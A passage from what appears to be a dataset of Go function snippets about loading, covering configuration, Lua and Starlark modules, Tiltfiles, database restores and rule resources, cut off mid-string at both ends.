newRoot)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &loaderImpl{root: root, schemes: l.schemes}, nil\n}", "func Loader(L *lua.LState) int {\n\tif err := L.DoString(lua_argparse); err != nil {\n\t\tL.RaiseError(\"load library 'argparse' error: %s\", err.Error())\n\t}\n\treturn 1\n}", "func loadTree(root string) (*importTree, error) {\n\tvar f fileLoaderFunc\n\tswitch ext(root) {\n\tcase \".tf\", \".tf.json\":\n\t\tf = loadFileHcl\n\tdefault:\n\t}\n\n\tif f == nil {\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"%s: unknown configuration format. Use '.tf' or '.tf.json' extension\",\n\t\t\troot)\n\t}\n\n\tc, imps, err := f(root)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tchildren := make([]*importTree, len(imps))\n\tfor i, imp := range imps {\n\t\tt, err := loadTree(imp)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tchildren[i] = t\n\t}\n\n\treturn &importTree{\n\t\tPath: root,\n\t\tRaw: c,\n\t\tChildren: children,\n\t}, nil\n}", "func (p *project) contentLoader(sha string) func(context.Context) ([]byte, error) {\n\treturn func(ctx context.Context) ([]byte, error) {\n\t\tblob, _, err := p.client.Git.GetBlob(ctx, p.owner, p.repo, sha)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"failed getting blob\")\n\t\t}\n\t\tswitch encoding := blob.GetEncoding(); encoding {\n\t\tcase \"base64\":\n\t\t\treturn base64.StdEncoding.DecodeString(blob.GetContent())\n\t\tdefault:\n\t\t\treturn nil, errors.Errorf(\"unexpected encoding: %s\", encoding)\n\t\t}\n\t}\n}", "func (lf LoaderFunc) Load(serverType string) (Input, error) {\n\treturn lf(serverType)\n}", "func Loader(L *lua.LState) int {\n\n\tnode := L.NewTypeMetatable(`xmlpath_node_ud`)\n\tL.SetGlobal(`xmlpath_node_ud`, node)\n\tL.SetField(node, \"__index\", L.SetFuncs(L.NewTable(), map[string]lua.LGFunction{\n\t\t\"string\": NodeToString,\n\t}))\n\n\tpath := L.NewTypeMetatable(`xmlpath_path_ud`)\n\tL.SetGlobal(`xmlpath_path_ud`, path)\n\tL.SetField(path, \"__index\", L.SetFuncs(L.NewTable(), map[string]lua.LGFunction{\n\t\t\"iter\": PathIter,\n\t}))\n\n\titer := L.NewTypeMetatable(`xmlpath_iter_ud`)\n\tL.SetGlobal(`xmlpath_iter_ud`, iter)\n\tL.SetField(iter, \"__index\", L.SetFuncs(L.NewTable(), map[string]lua.LGFunction{\n\t\t\"node\": IterNode,\n\t}))\n\n\tt := L.NewTable()\n\tL.SetFuncs(t, api)\n\tL.Push(t)\n\treturn 1\n}", "func NewSuiteLoader(rootDir, suiteExt, xsuiteExt string) <-chan TestSuite {\n\tchannel := make(chan TestSuite)\n\n\tsource := &DirSuiteFileIterator{RootDir: rootDir, SuiteExt: suiteExt, XSuiteExt: xsuiteExt}\n\tsource.init()\n\n\tgo func() {\n\t\tfor source.HasNext() {\n\t\t\tsf := source.Next()\n\t\t\tif sf == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tsuite := sf.ToSuite()\n\t\t\tif suite == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tchannel <- *suite\n\t\t}\n\n\t\tclose(channel)\n\t}()\n\n\treturn channel\n}", "func Load(contextDir string, event *api.Event, dockerManager *docker.Manager, tree *parser.Tree) *Build {\n\treturn &Build{\n\t\tcontextDir: contextDir,\n\t\tevent: event,\n\t\tdockerManager: dockerManager,\n\t\ttree: tree,\n\t}\n}", "func (f *function) load() (err error) {\n\tdefinition, err := ioutil.ReadFile(f.path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tf.definition = string(definition)\n\n\treturn\n}", "func Loader(url string) (*goquery.Document, error) {\n\tres, err := http.Get(url)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdefer res.Body.Close()\n\tif res.StatusCode == 404 {\n\t\tfmt.Println(\"Workout is not available.\")\n\t\tos.Exit(404)\n\t}\n\n\tdoc, err := goquery.NewDocumentFromReader(res.Body)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn doc, err\n}", "func (l *Loader) Init(ctx context.Context) (err error) {\n\trollbackHolder := fr.NewRollbackHolder(\"loader\")\n\tdefer func() {\n\t\tif err != nil {\n\t\t\trollbackHolder.RollbackReverseOrder()\n\t\t}\n\t}()\n\n\ttctx := tcontext.NewContext(ctx, l.logger)\n\n\tcheckpoint, err := newRemoteCheckPoint(tctx, l.cfg, l.checkpointID())\n\tfailpoint.Inject(\"ignoreLoadCheckpointErr\", func(_ failpoint.Value) {\n\t\tl.logger.Info(\"\", zap.String(\"failpoint\", \"ignoreLoadCheckpointErr\"))\n\t\terr = nil\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\tl.checkPoint = checkpoint\n\trollbackHolder.Add(fr.FuncRollback{Name: \"close-checkpoint\", Fn: l.checkPoint.Close})\n\n\tl.baList, err = filter.New(l.cfg.CaseSensitive, l.cfg.BAList)\n\tif err != nil {\n\t\treturn terror.ErrLoadUnitGenBAList.Delegate(err)\n\t}\n\n\terr = l.genRouter(l.cfg.RouteRules)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(l.cfg.ColumnMappingRules) > 0 {\n\t\tl.columnMapping, err = cm.NewMapping(l.cfg.CaseSensitive, l.cfg.ColumnMappingRules)\n\t\tif err != nil {\n\t\t\treturn terror.ErrLoadUnitGenColumnMapping.Delegate(err)\n\t\t}\n\t}\n\n\tdbCfg := l.cfg.To\n\tdbCfg.RawDBCfg = config.DefaultRawDBConfig().\n\t\tSetMaxIdleConns(l.cfg.PoolSize)\n\n\t// used to change loader's specified DB settings, currently SQL Mode\n\tlcfg, err := l.cfg.Clone()\n\tif err != nil {\n\t\treturn err\n\t}\n\t// fix nil map after clone, which we will use below\n\t// TODO: we may develop `SafeClone` in future\n\tif lcfg.To.Session == nil {\n\t\tlcfg.To.Session = make(map[string]string)\n\t}\n\tlcfg.To.Session[\"time_zone\"] = \"+00:00\"\n\n\thasSQLMode := false\n\tfor k := range l.cfg.To.Session {\n\t\tif strings.ToLower(k) == \"sql_mode\" {\n\t\t\thasSQLMode = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !hasSQLMode {\n\t\tsqlModes, err3 := utils.AdjustSQLModeCompatible(l.cfg.LoaderConfig.SQLMode)\n\t\tif err3 != nil {\n\t\t\tl.logger.Warn(\"cannot adjust sql_mode compatible, the sql_mode will stay the same\", log.ShortError(err3))\n\t\t}\n\t\tlcfg.To.Session[\"sql_mode\"] = sqlModes\n\t}\n\n\tl.logger.Info(\"loader's sql_mode is\", zap.String(\"sqlmode\", lcfg.To.Session[\"sql_mode\"]))\n\n\tl.toDB, l.toDBConns, err = createConns(tctx, lcfg, l.cfg.PoolSize)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func NewLoad() (Load, error) {\n\tf, err := os.Open(loadPath())\n\tif err != nil {\n\t\terr = fmt.Errorf(\"Unable to collect load metrics from %s - error: %s\", loadPath(), err)\n\t\treturn Load{}, err\n\t}\n\tdefer f.Close()\n\n\treturn readLoad(f)\n}", "func Loader(args *Args) {\n\tpool, err := NewPool(args.Threads, args.Address, args.User, args.Password, args.SessionVars)\n\tif err != nil {\n\t\tklog.Fatalf(\"Make Mysql Connection Pool Failed: %v\", err)\n\t}\n\n\tdefer pool.Close()\n\n\tvar reader storage.StorageReadWriter\n\tif args.Local != nil {\n\t\treader, err = storage.NewLocalReadWriter(args.Local.Outdir)\n\t\tif err != nil {\n\t\t\tklog.Fatalf(\"Create LocalReadWriter Failed: %v\", err)\n\t\t}\n\t} else if args.S3 != nil {\n\t\treader, err = storage.NewS3ReadWriter(args.S3.S3Endpoint,\n\t\t\targs.S3.S3Region,\n\t\t\targs.S3.S3Bucket,\n\t\t\targs.S3.S3AccessKey,\n\t\t\targs.S3.S3SecretAccessKey,\n\t\t\targs.S3.BackupDir)\n\n\t\tif err != nil {\n\t\t\tklog.Fatalf(\"Create S3ReadWriter Failed: %v\", err)\n\t\t}\n\t} else {\n\t\tlog.Fatalf(\"Invalid Reader\")\n\t}\n\n\tfiles := reader.LoadFiles(args.Outdir)\n\n\tif files == nil {\n\t\tlog.Fatalf(\"Cannot fetch any files\")\n\t}\n\t// database.\n\tconn := pool.Get()\n\terr = restoreDatabaseSchema(files.Databases, conn, reader)\n\tif err != nil {\n\t\tklog.Fatalf(\"Restore Database Schema Failed: %v\", err)\n\t}\n\tpool.Put(conn)\n\n\t// tables.\n\tconn = pool.Get()\n\terr = restoreTableSchema(args.OverwriteTables, files.Schemas, conn, reader)\n\tif err != nil {\n\t\tklog.Fatalf(\"Restore Table Schema Failed: %v\", err)\n\t}\n\tpool.Put(conn)\n\n\t// Shuffle the tables\n\tfor i := range files.Tables {\n\t\tj := rand.Intn(i + 1)\n\t\tfiles.Tables[i], files.Tables[j] = files.Tables[j], files.Tables[i]\n\t}\n\n\tvar wg sync.WaitGroup\n\tvar bytes uint64\n\tt := time.Now()\n\tfor _, table := range files.Tables {\n\t\tconn := pool.Get()\n\t\twg.Add(1)\n\t\tgo func(conn *Connection, table string) {\n\t\t\tdefer func() {\n\t\t\t\twg.Done()\n\t\t\t\tpool.Put(conn)\n\t\t\t}()\n\t\t\tr , err := restoreTable(table, conn, reader)\n\t\t\tif err != nil {\n\t\t\t\tklog.Fatalf(\"Restore Table Failed: %v\", err)\n\t\t\t}\n\t\t\tatomic.AddUint64(&bytes, uint64(r))\n\t\t}(conn, table)\n\t}\n\n\ttick := time.NewTicker(time.Millisecond * time.Duration(args.IntervalMs))\n\tdefer tick.Stop()\n\tgo func() {\n\t\tfor range tick.C {\n\t\t\tdiff := time.Since(t).Seconds()\n\t\t\tbytes := float64(atomic.LoadUint64(&bytes) / 1024 / 1024)\n\t\t\trates := bytes / diff\n\t\t\tklog.Info(\"restoring.allbytes[%vMB].time[%.2fsec].rates[%.2fMB/sec]...\", bytes, diff, rates)\n\t\t}\n\t}()\n\n\twg.Wait()\n\telapsed := time.Since(t).Seconds()\n\tklog.Info(\"restoring.all.done.cost[%.2fsec].allbytes[%.2fMB].rate[%.2fMB/s]\", elapsed, float64(bytes/1024/1024), (float64(bytes/1024/1024) / elapsed))\n}", "func loadFilter(absPath string) (*level0Maintainer, error) {\n\tfilterName := path.Join(absPath, \"filter\")\n\t_, err := os.Stat(filterName)\n\tif err != nil {\n\t\tif !os.IsExist(err) {\n\t\t\treturn createFilter(filterName)\n\t\t} else {\n\t\t\tpanic(fmt.Sprintf(\"check filter error: %v\", err))\n\t\t}\n\t}\n\n\tfp, err := os.Open(filterName)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"load filter error: %v\", err))\n\t}\n\n\tdump := map[uint32][]byte{}\n\tdecoder := gob.NewDecoder(fp)\n\terr = decoder.Decode(&dump)\n\tif err != nil && err != io.EOF {\n\t\treturn nil, err\n\t}\n\n\tlm0 := newL0Maintainer()\n\tfor fd, filterJSON := range dump {\n\t\tlm0.filter[fd] = bbloom.JSONUnmarshal(filterJSON)\n\t}\n\treturn lm0, nil\n}", "func (l *loaderImpl) Load(location string) ([]byte, error) {\n\tscheme, err := l.getSchemeLoader(location)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfullLocation, err := scheme.FullLocation(l.root, location)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn scheme.Load(fullLocation)\n}", "func (*bzlLibraryLang) Loads() []rule.LoadInfo {\n\treturn []rule.LoadInfo{{\n\t\tName: \"@bazel_skylib//:bzl_library.bzl\",\n\t\tSymbols: []string{\"bzl_library\"},\n\t}}\n}", "func load(definition string) (err error) {\n if err = walk(); nil != err {\n return\n }\n\n if err = parse(); nil != err {\n return\n }\n\n dir := path.Join(os.TempDir(), fmt.Sprintf(TEMPLATE_DESTINATION, time.Now().Unix()))\n\n if err = write(dir); nil != err {\n return\n }\n\n defer func() {\n err = remove(dir)\n }()\n\n command := exec.Command(\"go\", []string{\"run\", dir, definition}...)\n stdout, err := command.StdoutPipe()\n\n if nil != err {\n return err\n }\n\n stderr, err := command.StderrPipe()\n\n if nil != err {\n return err\n }\n\n if err = command.Start(); nil != err {\n return\n }\n\n go io.Copy(os.Stdout, stdout)\n go io.Copy(os.Stderr, stderr)\n\n if err = command.Wait(); nil != err {\n return\n }\n\n return\n}", "func LoadAndPerform(definition string) error {\n return load(definition)\n}", "func (tfl tiltfileLoader) Load(ctx context.Context, filename string, matching map[string]bool) (tlr TiltfileLoadResult, err error) {\n\tabsFilename, err := ospath.RealAbs(filename)\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\treturn TiltfileLoadResult{ConfigFiles: []string{filename}}, fmt.Errorf(\"No Tiltfile found at path '%s'. Check out https://docs.tilt.dev/tutorial.html\", filename)\n\t\t}\n\t\tabsFilename, _ = filepath.Abs(filename)\n\t\treturn TiltfileLoadResult{ConfigFiles: []string{absFilename}}, err\n\t}\n\n\ts := newTiltfileState(ctx, tfl.dcCli, absFilename)\n\tprintedWarnings := false\n\tdefer func() {\n\t\ttlr.ConfigFiles = s.configFiles\n\t\ttlr.Warnings = s.warnings\n\t\tif !printedWarnings {\n\t\t\tprintWarnings(s)\n\t\t}\n\t}()\n\n\ts.logger.Infof(\"Beginning Tiltfile execution\")\n\tif err := s.exec(); err != nil {\n\t\tif err, ok := err.(*starlark.EvalError); ok {\n\t\t\treturn TiltfileLoadResult{}, errors.New(err.Backtrace())\n\t\t}\n\t\treturn TiltfileLoadResult{}, err\n\t}\n\n\tresources, unresourced, err := s.assemble()\n\tif err != nil {\n\t\treturn TiltfileLoadResult{}, err\n\t}\n\n\tvar manifests []model.Manifest\n\n\tif len(resources.k8s) > 0 {\n\t\tmanifests, err = s.translateK8s(resources.k8s)\n\t\tif err != nil {\n\t\t\treturn TiltfileLoadResult{}, err\n\t\t}\n\t} else {\n\t\tmanifests, err = s.translateDC(resources.dc)\n\t\tif err != nil {\n\t\t\treturn TiltfileLoadResult{}, err\n\t\t}\n\t}\n\n\terr = s.checkForUnconsumedLiveUpdateSteps()\n\tif err != nil {\n\t\treturn TiltfileLoadResult{}, err\n\t}\n\n\tmanifests, err = match(manifests, matching)\n\tif err != nil {\n\t\treturn TiltfileLoadResult{}, err\n\t}\n\n\tyamlManifest := model.Manifest{}\n\tif len(unresourced) > 0 {\n\t\tyamlManifest, err = k8s.NewK8sOnlyManifest(unresourcedName, unresourced)\n\t\tif err != nil {\n\t\t\treturn TiltfileLoadResult{}, err\n\t\t}\n\t}\n\n\tprintWarnings(s)\n\tprintedWarnings = true\n\n\ts.logger.Infof(\"Successfully loaded Tiltfile\")\n\n\ttfl.reportTiltfileLoaded(s.builtinCallCounts)\n\n\ttiltIgnoreContents, err := s.readFile(s.localPathFromString(tiltIgnorePath(filename)))\n\t// missing tiltignore is fine\n\tif os.IsNotExist(err) {\n\t\terr = nil\n\t} else if err != nil {\n\t\treturn TiltfileLoadResult{}, errors.Wrapf(err, \"error reading %s\", tiltIgnorePath(filename))\n\t}\n\n\t// TODO(maia): `yamlManifest` should be processed just like any\n\t// other manifest (i.e. get rid of \"global yaml\" concept)\n\treturn TiltfileLoadResult{manifests, yamlManifest, s.configFiles, s.warnings, string(tiltIgnoreContents)}, err\n}", "func NewDNSLoaderGenerator(param LoadParams) (LoadManager, error) {\n\tif err := param.ValidCheck(); err != nil {\n\t\treturn nil, err\n\t}\n\toffset := 0\n\tif param.Protocol == \"tcp\" {\n\t\toffset = 2\n\t}\n\tdlg := &dnsLoaderGen{\n\t\tcaller: param.Caller,\n\t\ttimeout: param.Timeout,\n\t\tqps: param.QPS,\n\t\tprotocolOffset: offset,\n\t\tmax: param.Max,\n\t\tduration: param.Duration,\n\t\tstatus: StatusStopped,\n\t}\n\tfor i := 0; i < param.ClientNumber; i++ {\n\t\tr := make(map[uint8]uint64)\n\t\tdlg.result = append(dlg.result, r)\n\t}\n\treturn dlg, nil\n}", "func NewEnvLoader() *Loader {\n\treturn new(Loader)\n}", "func NewTemplateLoader(directory string, fallbackTemplate *template.Template, debug bool) *TemplateLoader {\n\tloader := &TemplateLoader{Directory: directory}\n\tif directory == \"\" {\n\t\tloader.usesDummy = true\n\t\tloader.template = fallbackTemplate\n\t\treturn loader\n\t}\n\tif !debug {\n\t\ttmpl, err := loader.compile()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tloader.template = tmpl\n\t}\n\treturn loader\n}", "func NewSchemaLoader(schemaType string, dstClient *SchemaRegistryClient, givenPath string, workingDirectory string) *SchemaLoader {\n\tif strings.EqualFold(schemaType, AVRO.String()) {\n\t\treturn &SchemaLoader{\n\t\t\tdstClient: dstClient,\n\t\t\tschemasType: AVRO,\n\t\t\tschemaRecords: map[SchemaDescriptor]map[int64]map[string]interface{}{},\n\t\t\tpath: CheckPath(givenPath, workingDirectory),\n\t\t}\n\t} else if strings.EqualFold(schemaType, PROTOBUF.String()) {\n\t\tlog.Fatalln(\"The Protobuf schema load is not supported yet.\")\n\t} else if strings.EqualFold(schemaType, JSON.String()) {\n\t\tlog.Fatalln(\"The Json schema load is not supported yet.\")\n\t}\n\n\tlog.Fatalln(\"This type of schema load is not supported, and there are no plans for support.\")\n\treturn nil\n}", "func Load(ctx context.Context, managerName string, logger *logrus.Logger, definition shared.Definition) (*Manager, error) {\n\tdf, ok := managers[managerName]\n\tif !ok {\n\t\treturn nil, ErrUnknownManager\n\t}\n\n\td := df()\n\n\td.init(ctx, logger, definition)\n\n\terr := d.load()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to load manager %q: %w\", managerName, err)\n\t}\n\n\treturn &Manager{def: definition, mgr: d, ctx: ctx}, nil\n}", "func (builder *RuleBuilder) BuildRuleFromResource(name, version string, resource pkg.Resource) error {\n\t// save the starting time, we need to see the loading time in debug log\n\tstartTime := time.Now()\n\n\t// Load the resource\n\tdata, err := resource.Load()\n\tif err != nil {\n\n\t\treturn err\n\t}\n\n\t// Immediately parse the loaded resource\n\tis := antlr.NewInputStream(string(data))\n\tlexer := parser.Newgrulev3Lexer(is)\n\n\terrReporter := &pkg.GruleErrorReporter{\n\t\tErrors: make([]error, 0),\n\t}\n\n\tlexer.RemoveErrorListeners()\n\tlexer.AddErrorListener(errReporter)\n\n\tstream := antlr.NewCommonTokenStream(lexer, antlr.TokenDefaultChannel)\n\n\tknowledgeBase := builder.KnowledgeLibrary.GetKnowledgeBase(name, version)\n\tif knowledgeBase == nil {\n\n\t\treturn fmt.Errorf(\"KnowledgeBase %s:%s is not in this library\", name, version)\n\t}\n\n\tlistener := antlr2.NewGruleV3ParserListener(knowledgeBase, errReporter)\n\n\tpsr := parser.Newgrulev3Parser(stream)\n\n\tpsr.RemoveErrorListeners()\n\tpsr.AddErrorListener(errReporter)\n\n\tpsr.BuildParseTrees = true\n\tantlr.ParseTreeWalkerDefault.Walk(listener, psr.Grl())\n\n\tgrl := listener.Grl\n\tfor _, ruleEntry := range grl.RuleEntries {\n\t\terr := knowledgeBase.AddRuleEntry(ruleEntry)\n\t\tif err != nil && err.Error() != \"rule entry TestNoDesc already exist\" {\n\t\t\tBuilderLog.Tracef(\"warning while adding rule entry : %s. got %s, possibly already added by antlr listener\", ruleEntry.RuleName, err.Error())\n\t\t}\n\t}\n\n\tknowledgeBase.WorkingMemory.IndexVariables()\n\n\t// Get the loading duration.\n\tdur := time.Now().Sub(startTime)\n\n\tif errReporter.HasError() {\n\t\tBuilderLog.Errorf(\"GRL syntax error. got %s\", errReporter.Error())\n\t\tfor i, errr := range errReporter.Errors {\n\t\t\tBuilderLog.Errorf(\"%d : %s\", i, errr.Error())\n\t\t}\n\n\t\treturn errReporter\n\t}\n\n\tBuilderLog.Debugf(\"Loading rule resource : %s success. Time taken %d ms\", resource.String(), dur.Nanoseconds()/1e6)\n\n\treturn nil\n}", "func (hc *Hailconfig) WithLoader(l Loader) *Hailconfig {\n\thc.loader = l\n\treturn hc\n}", "func New(options ...func(*Loader)) *Loader {\n\tweb := http.New()\n\tloader := &Loader{\n\t\tclients: map[string]Downloader{\n\t\t\t\"file\": file.New(),\n\t\t\t\"http\": web,\n\t\t\t\"https\": web,\n\t\t},\n\t}\n\n\tfor _, option := range options {\n\t\toption(loader)\n\t}\n\n\treturn loader\n}", "func loadPlugin(module *python.PyObject) (*python.PyObject, *python.PyObject) {\n\tmapf := module.GetAttrString(\"map\")\n\tdefer mapf.DecRef()\n\treducef := module.GetAttrString(\"reduce\")\n\tdefer reducef.DecRef()\n\treturn mapf, reducef\n\n}", "func New(data []byte) (*Loader, error) {\n\tvar lc Loader\n\tif err := yaml.Unmarshal(data, &lc); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &lc, nil\n}", "func Load(state *state.State, driverName string, name string, config map[string]string, logger logger.Logger, volIDFunc func(volType VolumeType, volName string) (int64, error), commonRulesFunc func() map[string]func(string) error) (Driver, error) {\n\t// Locate the driver loader.\n\tdriverFunc, ok := drivers[driverName]\n\tif !ok {\n\t\treturn nil, ErrUnknownDriver\n\t}\n\n\td := driverFunc()\n\terr := d.init(state, name, config, logger, volIDFunc, commonRulesFunc)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn d, nil\n}", "func (l *fileLoader) New(newRoot string) (Loader, error) {\n\treturn NewLoader(newRoot, l.root, l.fSys)\n}", "func load(thread *starlark.Thread, module string) (starlark.StringDict, error) {\n\tif module == \"assert.star\" {\n\t\treturn starlarktest.LoadAssertModule()\n\t}\n\tif module == \"json.star\" {\n\t\treturn starlark.StringDict{\"json\": json.Module}, nil\n\t}\n\tif module == \"time.star\" {\n\t\treturn starlark.StringDict{\"time\": time.Module}, nil\n\t}\n\tif module == \"math.star\" {\n\t\treturn starlark.StringDict{\"math\": starlarkmath.Module}, nil\n\t}\n\tif module == \"proto.star\" {\n\t\treturn starlark.StringDict{\"proto\": proto.Module}, nil\n\t}\n\n\t// TODO(adonovan): test load() using this execution path.\n\tfilename := filepath.Join(filepath.Dir(thread.CallFrame(0).Pos.Filename()), module)\n\treturn starlark.ExecFile(thread, filename, nil, nil)\n}", "func (l *Loader) Preload(syms *sym.Symbols, f *bio.Reader, lib *sym.Library, unit *sym.CompilationUnit, length int64, flags int) {\n\troObject, readonly, err := f.Slice(uint64(length))\n\tif err != nil {\n\t\tlog.Fatal(\"cannot read object file:\", err)\n\t}\n\tr := goobj2.NewReaderFromBytes(roObject, readonly)\n\tif r == nil {\n\t\tif len(roObject) >= 8 && bytes.Equal(roObject[:8], []byte(\"\\x00go114ld\")) {\n\t\t\tlog.Fatalf(\"found object file %s in old format, but -go115newobj is true\\nset -go115newobj consistently in all -gcflags, -asmflags, and -ldflags\", f.File().Name())\n\t\t}\n\t\tpanic(\"cannot read object file\")\n\t}\n\tlocalSymVersion := syms.IncVersion()\n\tpkgprefix := objabi.PathToPrefix(lib.Pkg) + \".\"\n\tndef := r.NSym()\n\tnnonpkgdef := r.NNonpkgdef()\n\tor := &oReader{r, unit, localSymVersion, r.Flags(), pkgprefix, make([]Sym, ndef+nnonpkgdef+r.NNonpkgref()), ndef, uint32(len(l.objs))}\n\n\t// Autolib\n\tlib.ImportStrings = append(lib.ImportStrings, r.Autolib()...)\n\n\t// DWARF file table\n\tnfile := r.NDwarfFile()\n\tunit.DWARFFileTable = make([]string, nfile)\n\tfor i := range unit.DWARFFileTable {\n\t\tunit.DWARFFileTable[i] = r.DwarfFile(i)\n\t}\n\n\tl.addObj(lib.Pkg, or)\n\tl.preloadSyms(or, pkgDef)\n\n\t// The caller expects us consuming all the data\n\tf.MustSeek(length, os.SEEK_CUR)\n}", "func (this *Manager) load() error{\n bytes, err := ioutil.ReadFile(this.filename())\n if err != nil {\n return err\n }\n mp := dynmap.NewDynMap()\n err = mp.UnmarshalJSON(bytes)\n if err != nil {\n return err\n }\n table,err := ToRouterTable(mp)\n if err != nil {\n return err\n }\n this.SetRouterTable(table) \n return nil\n}", "func Load() error {\n\treturn def.Load()\n}", "func (s *CommandLineSource) Load(_ *schema.StructValidator) (err error) {\n\tif s.callback != nil {\n\t\treturn s.koanf.Load(posflag.ProviderWithFlag(s.flags, \".\", s.koanf, s.callback), nil)\n\t}\n\n\treturn s.koanf.Load(posflag.Provider(s.flags, \".\", s.koanf), nil)\n}", "func (st *Stemplate) loadTemplate(tname string) *template.Template {\n\n\ttemplates, terr := filepath.Glob(st.templatesDir + \"*.tmpl\")\n\tif terr != nil {\n\t\tfmt.Println(\"[JIT template]: ERROR ~ \" + terr.Error())\n\t\treturn nil\n\t}\n\n\ttemplates = append(templates, st.templatesDir+tname)\n\n\treturn template.Must(template.ParseFiles(templates...))\n}", "func LoadWorld(name string, system System, gen Generator, dimension Dimension, tryClose chan TryClose) *World {\n\tmetapath := filepath.Join(\"./worlds/\", name, \"netherrack.meta\")\n\t_, err := os.Stat(metapath)\n\tif err == nil {\n\t\t//Load the world\n\t\treturn GetWorld(name, tryClose)\n\t}\n\n\t//Create the world\n\tmeta := netherrackMeta{\n\t\tSystemName: system.SystemName(),\n\t\tGeneratorName: gen.Name(),\n\t}\n\tos.MkdirAll(filepath.Join(\"./worlds/\", name), 0777)\n\tf, err := os.Create(metapath)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer f.Close()\n\tmsgpack.NewEncoder(f).Encode(&meta)\n\n\tw := &World{\n\t\tName: name,\n\t\tsystem: system,\n\t\tgenerator: gen,\n\t\ttryClose: tryClose,\n\t}\n\tw.worldData.Dimension = dimension\n\tw.init()\n\tw.system.Init(filepath.Join(\"./worlds/\", w.Name))\n\tw.generator.Save(w)\n\tw.system.Write(\"levelData\", &w.worldData)\n\tgo w.run()\n\n\treturn w\n}", "func (builder *RuleBuilder) BuildRuleFromResource(resource pkg.Resource) error {\n\tdata, err := resource.Load()\n\tif err != nil {\n\t\treturn errors.Trace(err)\n\t}\n\tsdata := string(data)\n\n\tis := antlr.NewInputStream(sdata)\n\tlexer := parser.NewgroolLexer(is)\n\tstream := antlr.NewCommonTokenStream(lexer, antlr.TokenDefaultChannel)\n\n\tlistener := antlr2.NewGroolParserListener(builder.KnowledgeBase)\n\n\tpsr := parser.NewgroolParser(stream)\n\tpsr.BuildParseTrees = true\n\tantlr.ParseTreeWalkerDefault.Walk(listener, psr.Root())\n\n\tif len(listener.ParseErrors) > 0 {\n\t\tlog.Errorf(\"Loading rule resource : %s failed. Got %d errors. 1st error : %v\", resource.String(), len(listener.ParseErrors), listener.ParseErrors[0])\n\t\treturn errors.Errorf(\"error were found before builder bailing out. %d errors. 1st error : %v\", len(listener.ParseErrors), listener.ParseErrors[0])\n\t}\n\tlog.Debugf(\"Loading rule resource : %s success\", resource.String())\n\treturn nil\n}", "func (l *loaderImpl) getSchemeLoader(location string) (SchemeLoader, error) {\n\tfor _, scheme := range l.schemes {\n\t\tif scheme.IsScheme(l.root, location) {\n\t\t\treturn scheme, nil\n\t\t}\n\t}\n\treturn nil, fmt.Errorf(\"Unknown Scheme: %s, %s\\n\", l.root, location)\n}", "func PluginLoader(opts map[string]string) (map[string]interface{}, error) {\n\tconf := map[string]interface{}{}\n\tif v, err := strconv.ParseBool(opts[\"driver.rkt.volumes.enabled\"]); err == nil {\n\t\tconf[\"volumes_enabled\"] = v\n\t}\n\treturn conf, nil\n}", "func RegisterSourceLoader(name string, f SourceLoader) {\n\tsourceLoaders[name] = f\n}", "func defaultLoader(cfg *RedSkyConfig) error {\n\t// NOTE: Any errors reported here are effectively fatal errors for a program that needs configuration since they will\n\t// not be able to load the configuration. Errors should be limited to unusable configurations.\n\n\td := &defaults{\n\t\tcfg: &cfg.data,\n\t\tenv: cfg.Environment(),\n\t\tclusterName: bootstrapClusterName(),\n\t}\n\n\td.addDefaultObjects()\n\tif err := d.applyServerDefaults(); err != nil {\n\t\treturn err\n\t}\n\t// No defaults for authorizations\n\tif err := d.applyClusterDefaults(); err != nil {\n\t\treturn err\n\t}\n\tif err := d.applyControllerDefaults(); err != nil {\n\t\treturn err\n\t}\n\tif err := d.applyContextDefaults(); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func newModelLoader(in interface{}) *modelLoader {\n\tvar ret modelLoader\n\n\ts := &gorm.Scope{Value: in}\n\t//get the gorm model struct so we can leverage gorm for DB and relationship information\n\tms := s.GetModelStruct()\n\n\t//construct metadata fields we need from all struct fields\n\tfor _, f := range ms.StructFields {\n\t\tif f.Relationship != nil {\n\t\t\t//track all relationships so we can map them later\n\t\t\tret.relationships = append(ret.relationships, f)\n\t\t}\n\n\t\tif !f.IsNormal {\n\t\t\t//if it's not a relationship and not a normal field we don't care about it\n\t\t\tcontinue\n\t\t}\n\n\t\tif f.IsPrimaryKey {\n\t\t\t//track primary keys so we can track which items we've already processed\n\t\t\tret.keyFields = append(ret.keyFields, f)\n\t\t}\n\t\tret.selectFields = append(ret.selectFields, f)\n\t}\n\n\tret.itemType = ms.ModelType\n\tret.ms = ms\n\tret.storedKeys = make(map[string]struct{})\n\n\tret.scanValues = make([]interface{}, 0, len(ret.selectFields))\n\tret.fields = make([]reflect.Value, 0, len(ret.selectFields))\n\tfor _, f := range ret.selectFields {\n\n\t\t//we need to create a new value not tied to the struct that addresses the type given.\n\t\t//this allows the scan to always succeed and not fail if we get a null back for a non-nullable field\n\t\tnewValue := reflect.New(reflect.PtrTo(f.Struct.Type))\n\t\tret.fields = append(ret.fields, newValue)\n\t\tret.scanValues = append(ret.scanValues, newValue.Interface())\n\t}\n\n\treturn &ret\n}", "func NewManifer(logger io.Writer) Manifer {\n\tfileIO := &file.FileIO{}\n\tyaml := 